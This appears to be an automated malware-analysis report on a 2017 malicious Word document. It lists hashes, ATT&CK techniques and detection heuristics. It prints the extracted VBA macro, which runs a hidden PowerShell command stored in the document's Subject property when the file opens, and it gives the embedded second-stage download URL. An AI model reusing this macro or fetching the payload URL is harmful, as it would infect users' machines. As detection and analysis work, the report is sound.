Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b77ad1656a8ac32c…

MALICIOUS

Office (OLE)

28.0 KB Created: 2017-11-09 12:57:00 Authoring application: Microsoft Office Word First seen: 2017-11-29
MD5: 095ecf0a2da4b4a4cb77562e28779099 SHA-1: b9cdf1f7b56ae85b8c25a962082de0922c8e82f6 SHA-256: b77ad1656a8ac32c147c36a106fcc4aabaf927bd651d17e4bfd52b8f4edd792a
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function that calls Shell() to execute a command. This command is constructed using the document's subject property, which appears to be 'PowerShell -ExecutionPolicy bypass -noprofile -windowstyle h'. This suggests the macro is designed to download and execute a second-stage payload from the URL found in the document's embedded artifacts. The presence of the 'OLE_VBA_SHELL' and 'SE_LOLBIN_RUN_COMMAND' heuristics further supports this analysis.

Heuristics 9

  • ClamAV: Doc.Malware.Generic-6743438-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6743438-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Function blsJWPua()
    Shell (ThisDocument.BuiltInDocumentProperties.Item("Subject"))
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://anyfile.255bits.com/wix/download?id=4774c2595380a37a91a08be3494dc282 In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 445 bytes
SHA-256: da372893fb1dc1fbce0b16806da19d7f70784af8e478ee2dc560a349135db53e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

    Call blsJWPua

End Sub


Function blsJWPua()
    Shell (ThisDocument.BuiltInDocumentProperties.Item("Subject"))
End Function

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